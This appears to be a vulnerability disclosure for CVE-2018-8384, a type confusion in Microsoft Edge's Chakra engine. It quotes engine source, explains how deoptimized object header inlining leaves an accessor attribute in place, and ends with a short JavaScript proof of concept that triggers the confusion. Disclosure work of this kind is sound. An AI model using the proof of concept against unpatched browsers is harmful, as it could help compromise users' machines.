Microsoft Edge Chakra PathTypeHandlerBase SetAttributesHelper Type Confusion

Microsoft Edge: Chakra: Type confusion with PathTypeHandlerBase::SetAttributesHelper

CVE-2018-8384


Here's a snippet of PathTypeHandlerBase::SetAttributesHelper.
< Microsoft Edge: Chakra: Type confusion with PathTypeHandlerBase::SetAttributesHelper

CVE-2018-8384


Here's a snippet of PathTypeHandlerBase::SetAttributesHelper.

PathTypeHandlerBase *predTypeHandler = this;
DynamicType *currentType = instance->GetDynamicType();
while (predTypeHandler->GetPathLength() > propertyIndex)
{
currentType = predTypeHandler->GetPredecessorType();
if (currentType == nullptr)
{
#ifdef PROFILE_TYPES
instance->GetScriptContext()->convertPathToDictionaryNoRootCount++;
#endif
// This can happen if object header inlining is deoptimized, and we haven't built a full path from the root.
// For now, just punt this case.
return TryConvertToSimpleDictionaryType(instance, GetPathLength())->SetAttributes(instance, propertyId, ObjectSlotAttributesToPropertyAttributes(propertyAttributes));
}
predTypeHandler = PathTypeHandlerBase::FromTypeHandler(currentType->GetTypeHandler());
}

When object header inlining is deoptimized, the type handler of the object is converted to a dictionary type handler. The problem is that it doesn't consider some attributes that dictionary type handlers don't have, so adding or removing those attributes can fail. ObjectSlotAttr_Accessor which indicates that the property is an accessor is one of them.

Here's a snippet of PathTypeHandlerBase::SetPropertyInternal.

else if (isInit)
{
ObjectSlotAttributes * attributes = this->GetAttributeArray();
if (attributes && (attributes[index] & ObjectSlotAttr_Accessor))
{
this->SetAttributesHelper(instance, propertyId, index, attributes, (ObjectSlotAttributes)(attributes[index] & ~ObjectSlotAttr_Accessor), true);
// We're changing an accessor into a data property at object init time. Don't cache this transition from setter to non-setter,
// as it behaves differently from a normal set property.
PropertyValueInfo::SetNoCache(info, instance);
newTypeHandler = PathTypeHandlerBase::FromTypeHandler(instance->GetDynamicType()->GetTypeHandler());
newTypeHandler->SetSlotUnchecked(instance, index, value);
return true;
}
}

We can use the bug to make removing ObjectSlotAttr_Accessor fail. As a result, a data value can be used as an accessor.

PoC:
let o = {
get a() {},
0: 0, // Deoptimizing object header inlining
a: 0x1234
};

o.a; // Type confusion


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available (whichever is earlier), the bug
report will become visible to the public.




Found by: lokihardt